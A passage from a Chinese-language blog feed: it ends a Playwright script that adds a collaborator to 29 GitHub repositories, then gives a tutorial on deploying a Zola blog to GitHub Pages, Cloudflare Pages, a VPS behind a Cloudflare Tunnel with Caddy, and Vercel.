  for (const repo of repos) {
    await page.goto(`https:&amp;#x2F;&amp;#x2F;github.com&amp;#x2F;peterlishihu&amp;#x2F;${repo}&amp;#x2F;settings&amp;#x2F;access`, { waitUntil: &amp;#x27;load&amp;#x27; });
    await page.waitForTimeout(2500);

    &amp;#x2F;&amp;#x2F; 检查是否已存在
    const text = await page.evaluate(() =&amp;gt; document.body.innerText);
    if (text.includes(&amp;#x27;@moxuetianya&amp;#x27;)) continue;

    &amp;#x2F;&amp;#x2F; 打开添加对话框
    await page.getByRole(&amp;#x27;button&amp;#x27;, { name: &amp;#x27;Add people&amp;#x27; }).click();
    await page.waitForTimeout(1000);

    &amp;#x2F;&amp;#x2F; 搜索用户
    await page.getByRole(&amp;#x27;combobox&amp;#x27;, { name: &amp;#x27;Find people&amp;#x27; }).fill(&amp;#x27;moxuetianya&amp;#x27;);
    await page.waitForTimeout(2000);

    &amp;#x2F;&amp;#x2F; 检查是否已禁用（已邀请）
    const disabled = await page.evaluate(() =&amp;gt; {
      const opt = document.querySelector(&amp;#x27;[role=&amp;quot;option&amp;quot;][aria-disabled=&amp;quot;true&amp;quot;]&amp;#x27;);
      return opt &amp;amp;&amp;amp; opt.textContent.includes(&amp;#x27;moxuetianya&amp;#x27;);
    });
    if (disabled) { await page.keyboard.press(&amp;#x27;Escape&amp;#x27;); continue; }

    &amp;#x2F;&amp;#x2F; 选中并确认
    await page.getByRole(&amp;#x27;option&amp;#x27;, { name: &amp;#x27;@moxuetianya&amp;#x27; }).click();
    await page.getByRole(&amp;#x27;button&amp;#x27;, { name: &amp;#x2F;Add moxuetianya&amp;#x2F; }).click();
    await page.waitForTimeout(2000);
  }
};
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;jie-guo-tong-ji&quot;&gt;结果统计&lt;&#x2F;h1&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;状态&lt;&#x2F;th&gt;&lt;th&gt;数量&lt;&#x2F;th&gt;&lt;th&gt;仓库&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;本次添加&lt;&#x2F;td&gt;&lt;td&gt;15&lt;&#x2F;td&gt;&lt;td&gt;learn-frontend, his, learn-pipewire-bluetooth, mobile-smb, obsidian, trace-learn, learn-langchain, learn-protobuf, learn-tcpip, bt-learn, wifi-learn, zod-learn, p2p-learn, my-skills, Qwen3.5&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;已存在&lt;&#x2F;td&gt;&lt;td&gt;14&lt;&#x2F;td&gt;&lt;td&gt;proxy-shoes, learn-architecture, learn-tpm-grub, learn-linux, linux-translate, linux-dlna, learn-opencode, juzhong, phone-access-card, claude-config, learn-vless, learn-ssh, learn-tls, learn-socks5&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;&lt;strong&gt;全部 29 个仓库均已完成。&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>deploy blog to github cloudflare vercel</title>
        <published>2026-06-13T00:17:10+08:00</published>
        <updated>2026-08-21T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2026/06/deploy-blog-to-github-cloudflare-vercel/"/>
        <id>https://vercel.juzhong.asia/2026/06/deploy-blog-to-github-cloudflare-vercel/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2026/06/deploy-blog-to-github-cloudflare-vercel/">&lt;h1 id=&quot;zhun-bei-gong-zuo&quot;&gt;准备工作&lt;&#x2F;h1&gt;
&lt;p&gt;先构建站点，确认 &lt;code&gt;public&#x2F;&lt;&#x2F;code&gt; 目录正常生成：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;zola build
ls public&amp;#x2F;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;github-pages&quot;&gt;GitHub Pages&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;chuang-jian-cang-ku&quot;&gt;创建仓库&lt;&#x2F;h2&gt;
&lt;p&gt;创建 &lt;code&gt;github.com&#x2F;&amp;lt;你的用户名&amp;gt;&#x2F;&amp;lt;你的用户名&amp;gt;.github.io&lt;&#x2F;code&gt; 仓库，这是 GitHub 的 user site，域名固定为 &lt;code&gt;https:&#x2F;&#x2F;&amp;lt;用户名&amp;gt;.github.io&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;git init
git remote add origin git@github.com:&amp;lt;用户名&amp;gt;&amp;#x2F;&amp;lt;用户名&amp;gt;.github.io.git
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;github-actions-zi-dong-bu-shu&quot;&gt;GitHub Actions 自动部署&lt;&#x2F;h2&gt;
&lt;p&gt;创建 &lt;code&gt;.github&#x2F;workflows&#x2F;deploy.yml&lt;&#x2F;code&gt;：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;yaml&quot; class=&quot;language-yaml &quot;&gt;&lt;code class=&quot;language-yaml&quot; data-lang=&quot;yaml&quot;&gt;name: Deploy Zola Blog

on:
  push:
    branches: [master]

jobs:
  deploy:
    runs-on: ubuntu-latest
    permissions:
      contents: write
    steps:
      - uses: actions&amp;#x2F;checkout@v4
        with:
          submodules: recursive

      - name: Install Zola
        run: |
          ZOLA_VERSION=$(curl -s https:&amp;#x2F;&amp;#x2F;api.github.com&amp;#x2F;repos&amp;#x2F;getzola&amp;#x2F;zola&amp;#x2F;releases&amp;#x2F;latest | grep tag_name | cut -d &amp;#x27;&amp;quot;&amp;#x27; -f4)
          curl -sL &amp;quot;https:&amp;#x2F;&amp;#x2F;github.com&amp;#x2F;getzola&amp;#x2F;zola&amp;#x2F;releases&amp;#x2F;download&amp;#x2F;${ZOLA_VERSION}&amp;#x2F;zola-${ZOLA_VERSION}-x86_64-unknown-linux-gnu.tar.gz&amp;quot; | tar xz
          sudo mv zola &amp;#x2F;usr&amp;#x2F;local&amp;#x2F;bin&amp;#x2F;

      - name: Build
        run: zola build

      - name: Deploy
        uses: peaceiris&amp;#x2F;actions-gh-pages@v3
        with:
          github_token: ${{ secrets.GITHUB_TOKEN }}
          publish_dir: .&amp;#x2F;public
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;推送后 GitHub Actions 自动构建并部署到 &lt;code&gt;gh-pages&lt;&#x2F;code&gt; 分支。在仓库 Settings → Pages 中选择 &lt;code&gt;gh-pages&lt;&#x2F;code&gt; 分支作为部署源。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;keng-shalzz-action-bi-xu-pin-ban-ben-tag-bu-neng-gen-master&quot;&gt;坑：shalzz action 必须 pin 版本 tag，不能跟 master&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;code&gt;uses: shalzz&#x2F;zola-deploy-action@master&lt;&#x2F;code&gt; 的 Dockerfile &lt;strong&gt;硬编码了 zola 版本&lt;&#x2F;strong&gt;（2026-08 时为 0.23.1），&lt;code&gt;ZOLA_VERSION&lt;&#x2F;code&gt; env 变量在新版&lt;strong&gt;完全被忽略&lt;&#x2F;strong&gt;（传了也不生效）。当 action 更新内置 zola 后，旧主题（abridge）模板语法不兼容新版直接构建失败：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;ERROR error: Found `:` but expected }}.
  --&amp;gt; abridge&amp;#x2F;templates&amp;#x2F;categories&amp;#x2F;single.html:17:17
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;修复&lt;&#x2F;strong&gt;：pin 到与本地一致的版本 tag（action 的 tag 按 zola 版本命名）：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;yaml&quot; class=&quot;language-yaml &quot;&gt;&lt;code class=&quot;language-yaml&quot; data-lang=&quot;yaml&quot;&gt;uses: shalzz&amp;#x2F;zola-deploy-action@v0.19.2
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;排查技巧：&lt;code&gt;gh run view &amp;lt;run-id&amp;gt; --log-failed&lt;&#x2F;code&gt; 看日志里的 &lt;code&gt;Using zola x.y.z&lt;&#x2F;code&gt; 行，与本地 &lt;code&gt;zola --version&lt;&#x2F;code&gt; 对比即可发现版本漂移。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;cloudflare-pages&quot;&gt;Cloudflare Pages&lt;&#x2F;h1&gt;
&lt;p&gt;Cloudflare Pages 直接托管静态站点，支持自定义域名 &lt;code&gt;juzhong.xyz&lt;&#x2F;code&gt; 或子域名如 &lt;code&gt;blog.juzhong.xyz&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;lian-jie-github-cang-ku&quot;&gt;连接 GitHub 仓库&lt;&#x2F;h2&gt;
&lt;p&gt;在 Cloudflare Dashboard → Workers &amp;amp; Pages → Pages → 创建项目，连接 GitHub 仓库。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;构建配置：&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;配置项&lt;&#x2F;th&gt;&lt;th&gt;值&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;构建命令&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;zola build&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;输出目录&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;public&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;环境变量&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;ZOLA_VERSION=0.19.2&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;Cloudflare Pages 内置了 Zola 支持，会自动下载对应版本。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;zi-ding-yi-yu-ming&quot;&gt;自定义域名&lt;&#x2F;h2&gt;
&lt;p&gt;Pages 项目 → 自定义域 → 添加 &lt;code&gt;blog.juzhong.xyz&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;需要在 &lt;code&gt;juzhong.xyz&lt;&#x2F;code&gt; 的 DNS 中添加 CNAME 记录：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;blog.juzhong.xyz  CNAME  &amp;lt;项目名&amp;gt;.pages.dev
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Cloudflare 代理（橙色云朵）开启后自动提供 HTTPS。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;a-li-yun-vps-cloudflare-tunnel&quot;&gt;阿里云 VPS + Cloudflare Tunnel&lt;&#x2F;h1&gt;
&lt;p&gt;适用场景：域名&lt;strong&gt;未备案&lt;&#x2F;strong&gt;（国内服务器直连 80&#x2F;443 会被要求备案）、想自己掌控服务器。Cloudflare Tunnel 让 VPS &lt;strong&gt;主动连接&lt;&#x2F;strong&gt; Cloudflare 边缘，用户访问走 Cloudflare 的 HTTPS，源站端口无需对外开放，未备案域名也能正常访问。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;jia-gou&quot;&gt;架构&lt;&#x2F;h2&gt;
&lt;pre&gt;&lt;code&gt;用户 --HTTPS--&amp;gt; Cloudflare 边缘 --Tunnel--&amp;gt; VPS localhost:2083 --Caddy file_server--&amp;gt; 静态文件
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;1-an-zhuang-cloudflared&quot;&gt;1. 安装 cloudflared&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;curl -L https:&amp;#x2F;&amp;#x2F;github.com&amp;#x2F;cloudflare&amp;#x2F;cloudflared&amp;#x2F;releases&amp;#x2F;latest&amp;#x2F;download&amp;#x2F;cloudflared-linux-amd64 -o cloudflared
sudo install -m 755 cloudflared &amp;#x2F;usr&amp;#x2F;local&amp;#x2F;bin&amp;#x2F;cloudflared
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;2-deng-lu-bing-chuang-jian-tunnel&quot;&gt;2. 登录并创建 Tunnel&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;cloudflared tunnel login              # 浏览器授权
cloudflared tunnel create blog-tunnel
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;3-pei-zhi-tunnel&quot;&gt;3. 配置 Tunnel&lt;&#x2F;h2&gt;
&lt;p&gt;编辑 &lt;code&gt;&#x2F;etc&#x2F;cloudflared&#x2F;config.yml&lt;&#x2F;code&gt;：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;yaml&quot; class=&quot;language-yaml &quot;&gt;&lt;code class=&quot;language-yaml&quot; data-lang=&quot;yaml&quot;&gt;tunnel: &amp;lt;tunnel-id&amp;gt;
credentials-file: &amp;#x2F;home&amp;#x2F;&amp;lt;user&amp;gt;&amp;#x2F;.cloudflared&amp;#x2F;&amp;lt;tunnel-id&amp;gt;.json

ingress:
  - hostname: blog.juzhong.xyz
    service: http:&amp;#x2F;&amp;#x2F;localhost:2083
  - service: http_status:404
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;4-bang-ding-dns&quot;&gt;4. 绑定 DNS&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;cloudflared tunnel route dns &amp;lt;tunnel-id&amp;gt; blog.juzhong.xyz
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;等价于手动在 Cloudflare DNS 加 CNAME：&lt;code&gt;blog.juzhong.xyz → &amp;lt;tunnel-id&amp;gt;.cfargotunnel.com&lt;&#x2F;code&gt;（保持橙色云朵代理）。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;5-gou-jian-zhan-dian-guan-jian-u-bi-xu-pi-pei-shi-ji-yu-ming&quot;&gt;5. 构建站点（关键：&lt;code&gt;-u&lt;&#x2F;code&gt; 必须匹配实际域名）&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;zola build -u https:&amp;#x2F;&amp;#x2F;blog.juzhong.xyz
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;为什么 &lt;code&gt;-u&lt;&#x2F;code&gt; 这么重要？&lt;&#x2F;strong&gt; Zola 的搜索索引 &lt;code&gt;search_index.*.js&lt;&#x2F;code&gt; 里存的是&lt;strong&gt;绝对 URL&lt;&#x2F;strong&gt;，按 &lt;code&gt;base_url&lt;&#x2F;code&gt;（即 &lt;code&gt;--base-url&lt;&#x2F;code&gt;&#x2F;&lt;code&gt;-u&lt;&#x2F;code&gt; 参数）生成。如果构建时的域名和用户实际访问的域名不一致（比如用 &lt;code&gt;https:&#x2F;&#x2F;ali.juzhong.xyz&lt;&#x2F;code&gt; 构建、用户却从 &lt;code&gt;blog.juzhong.xyz&lt;&#x2F;code&gt; 访问），搜索能搜出结果，但&lt;strong&gt;点击结果会跳到错误域名 → 404&lt;&#x2F;strong&gt;。每个部署目标都要用对应的域名构建：本站用 &lt;code&gt;-u https:&#x2F;&#x2F;blog.juzhong.xyz&lt;&#x2F;code&gt;，Vercel 用 &lt;code&gt;--base-url https:&#x2F;&#x2F;vercel.juzhong.xyz&lt;&#x2F;code&gt;（见下文）。换域名部署时必须同步重新构建。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h2 id=&quot;6-shang-chuan-dao-vps&quot;&gt;6. 上传到 VPS&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;rsync -av --delete public&amp;#x2F; alivps:&amp;#x2F;home&amp;#x2F;peter&amp;#x2F;project&amp;#x2F;caddy-dns&amp;#x2F;blog&amp;#x2F;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;7-caddy-jing-tai-bu-shu&quot;&gt;7. Caddy 静态部署&lt;&#x2F;h2&gt;
&lt;p&gt;服务器上 &lt;code&gt;docker-compose.yaml&lt;&#x2F;code&gt;（caddy 镜像需含 Cloudflare DNS 插件，如 &lt;code&gt;slothcroissant&#x2F;caddy-cloudflaredns&lt;&#x2F;code&gt;）：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;yaml&quot; class=&quot;language-yaml &quot;&gt;&lt;code class=&quot;language-yaml&quot; data-lang=&quot;yaml&quot;&gt;services:
  caddy:
    image: slothcroissant&amp;#x2F;caddy-cloudflaredns:2.11.4
    restart: unless-stopped
    ports:
      - &amp;quot;2083:2083&amp;quot;
    volumes:
      - .&amp;#x2F;Caddyfile:&amp;#x2F;etc&amp;#x2F;caddy&amp;#x2F;Caddyfile
      - .&amp;#x2F;blog:&amp;#x2F;var&amp;#x2F;www&amp;#x2F;blog:ro
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;code&gt;Caddyfile&lt;&#x2F;code&gt;：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;caddyfile&quot; class=&quot;language-caddyfile &quot;&gt;&lt;code class=&quot;language-caddyfile&quot; data-lang=&quot;caddyfile&quot;&gt;http:&amp;#x2F;&amp;#x2F;blog.juzhong.xyz:2083 {
    root * &amp;#x2F;var&amp;#x2F;www&amp;#x2F;blog
    file_server
    encode gzip
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;docker compose up -d
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;blockquote&gt;
&lt;p&gt;如果 VPS 上还要托管别的站点（如 wg-easy 管理界面），Caddy 里加一个 &lt;code&gt;reverse_proxy&lt;&#x2F;code&gt; 站点块共用 2083 入口即可。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h1 id=&quot;vercel&quot;&gt;Vercel&lt;&#x2F;h1&gt;
&lt;p&gt;Vercel 也支持 Zola 静态站点，但默认构建环境没有 Zola 版本太低，需要自定义构建命令。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;lian-jie-cang-ku-yu-gou-jian-pei-zhi&quot;&gt;连接仓库与构建配置&lt;&#x2F;h2&gt;
&lt;p&gt;访问 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;vercel.com&#x2F;new&quot;&gt;vercel.com&#x2F;new&lt;&#x2F;a&gt; 导入 GitHub 仓库。&lt;&#x2F;p&gt;
&lt;p&gt;Vercel 可能无法自动识别 Zola 项目，手动配置构建参数：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;配置项&lt;&#x2F;th&gt;&lt;th&gt;值&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;Framework&lt;&#x2F;td&gt;&lt;td&gt;Other&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;Build Command&lt;&#x2F;td&gt;&lt;td&gt;&lt;em&gt;见下方自定义命令&lt;&#x2F;em&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;Output Directory&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;public&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;&lt;strong&gt;自定义构建命令&lt;&#x2F;strong&gt;（下载指定版本 Zola 并构建）：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;curl -sL https:&amp;#x2F;&amp;#x2F;github.com&amp;#x2F;getzola&amp;#x2F;zola&amp;#x2F;releases&amp;#x2F;download&amp;#x2F;v0.19.2&amp;#x2F;zola-v0.19.2-x86_64-unknown-linux-gnu.tar.gz | tar -xzf - &amp;amp;&amp;amp; .&amp;#x2F;zola build --base-url https:&amp;#x2F;&amp;#x2F;vercel.juzhong.xyz
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;拆解说明：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;curl -sL ... | tar -xzf -&lt;&#x2F;code&gt; —— 下载 Zola v0.19.2 二进制包并解压到当前目录&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;.&#x2F;zola build --base-url https:&#x2F;&#x2F;vercel.juzhong.xyz&lt;&#x2F;code&gt; —— 用本地 Zola 构建，&lt;code&gt;--base-url&lt;&#x2F;code&gt; 指定站点根 URL，确保绝对路径（如 RSS、sitemap）正确&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;注意&lt;&#x2F;strong&gt;：将 &lt;code&gt;vercel.juzhong.xyz&lt;&#x2F;code&gt; 替换为你的实际域名；如果没有自定义域名，使用 Vercel 分配的 &lt;code&gt;xxx.vercel.app&lt;&#x2F;code&gt; 域名。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h2 id=&quot;zi-ding-yi-yu-ming-pei-zhi-yi-cloudflare-wei-li&quot;&gt;自定义域名配置（以 Cloudflare 为例）&lt;&#x2F;h2&gt;
&lt;p&gt;下面以子域名 &lt;code&gt;vercel.juzhong.xyz&lt;&#x2F;code&gt; 为例，DNS 解析由 Cloudflare 管理。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;di-yi-jie-duan-vercel-ping-tai-cao-zuo&quot;&gt;第一阶段：Vercel 平台操作&lt;&#x2F;h3&gt;
&lt;ol&gt;
&lt;li&gt;进入项目仪表板，点击顶部 &lt;strong&gt;Settings&lt;&#x2F;strong&gt; → 左侧菜单 &lt;strong&gt;Domains&lt;&#x2F;strong&gt;&lt;&#x2F;li&gt;
&lt;li&gt;输入完整域名（例如 &lt;code&gt;vercel.juzhong.xyz&lt;&#x2F;code&gt;），点击 &lt;strong&gt;Add&lt;&#x2F;strong&gt;&lt;&#x2F;li&gt;
&lt;li&gt;页面会提示 &lt;em&gt;Invalid Configuration&lt;&#x2F;em&gt;（正常），点击域名旁边的 &lt;strong&gt;View&lt;&#x2F;strong&gt; 查看需要的 DNS 记录&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;Vercel 通常建议添加以下记录：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;A 记录&lt;&#x2F;strong&gt;：将根域名指向 &lt;code&gt;76.76.21.21&lt;&#x2F;code&gt;（Vercel 的 IP）&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;CNAME 记录&lt;&#x2F;strong&gt;：将子域名指向 &lt;code&gt;cname.vercel-dns.com&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;cname.vercel-dns.com — 全球通用&lt;&#x2F;li&gt;
&lt;li&gt;cname-china.vercel-dns.com — 国内专用节点，中国大陆访问速度更快、更稳定&lt;&#x2F;li&gt;
&lt;li&gt;由于你在国内使用，强烈推荐使用 cname-china.vercel-dns.com。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;blockquote&gt;
&lt;p&gt;本项目使用子域名，只需 CNAME 记录即可。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h3 id=&quot;di-er-jie-duan-cloudflare-dns-cao-zuo&quot;&gt;第二阶段：Cloudflare DNS 操作&lt;&#x2F;h3&gt;
&lt;ol&gt;
&lt;li&gt;登录 Cloudflare 仪表板 → 选择域名 &lt;code&gt;juzhong.xyz&lt;&#x2F;code&gt; → &lt;strong&gt;DNS&lt;&#x2F;strong&gt; → &lt;strong&gt;记录&lt;&#x2F;strong&gt;&lt;&#x2F;li&gt;
&lt;li&gt;点击 &lt;strong&gt;添加记录&lt;&#x2F;strong&gt;，配置如下：&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;字段&lt;&#x2F;th&gt;&lt;th&gt;值&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;类型&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;CNAME&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;名称&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;vercel&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;目标&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;cname.vercel-dns.com&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;代理状态&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;仅 DNS&lt;&#x2F;strong&gt;（灰色云朵 ☁️）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;&lt;strong&gt;关键&lt;&#x2F;strong&gt;：代理状态务必选择灰色云朵（仅 DNS），不要开启橙色云朵（代理）。&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;为什么？&lt;&#x2F;strong&gt; Vercel 使用 Let&#x27;s Encrypt 自动签发 SSL 证书，需要通过 ACME 协议验证域名所有权。Cloudflare 橙色代理会拦截 ACME 验证请求，导致证书签发失败、域名始终显示 &lt;em&gt;Invalid Configuration&lt;&#x2F;em&gt;。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;2026-08 更正（针对自建 Caddy）&lt;&#x2F;strong&gt;：上面的说法对 Vercel 平台成立，但&lt;strong&gt;不能泛化&lt;&#x2F;strong&gt;——&quot;CF 橙云拦截 ACME 验证&quot;只拦截 &lt;code&gt;tls-alpn-01&lt;&#x2F;code&gt; 挑战（CF 边缘终结 TLS，LE 协商不了 acme-tls&#x2F;1），而 &lt;code&gt;http-01&lt;&#x2F;code&gt; 挑战走 80 端口普通转发，不受代理影响。自建 Caddy 在橙云下会 tls-alpn 失败后&lt;strong&gt;自动跨 order 回退 http-01 并签发成功&lt;&#x2F;strong&gt;（实测 1~2 分钟完成，全程自动）。唯一死锁场景：CF 开启 &quot;Always Use HTTPS&quot; + SSL 模式 Full (strict) 且源站还没有有效证书。详见 &lt;a href=&quot;&#x2F;2026&#x2F;08&#x2F;caddy-cloudflare-proxy-acme-challenge&#x2F;&quot;&gt;Caddy 在 CF 橙云下的 ACME 挑战实测&lt;&#x2F;a&gt;。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;&lt;strong&gt;特殊情况：根域名配置&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;DNS 标准不允许根域名（&lt;code&gt;@&lt;&#x2F;code&gt;）使用 CNAME 记录。Cloudflare 通过 &lt;strong&gt;CNAME Flattening&lt;&#x2F;strong&gt; 技术自动将根域名的 CNAME 转换为 A 记录，你只需正常添加 CNAME 记录，名称写 &lt;code&gt;@&lt;&#x2F;code&gt; 即可。&lt;&#x2F;p&gt;
&lt;p&gt;如果 Vercel 提示根域名需要 A 记录，则改为：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;字段&lt;&#x2F;th&gt;&lt;th&gt;值&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;类型&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;A&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
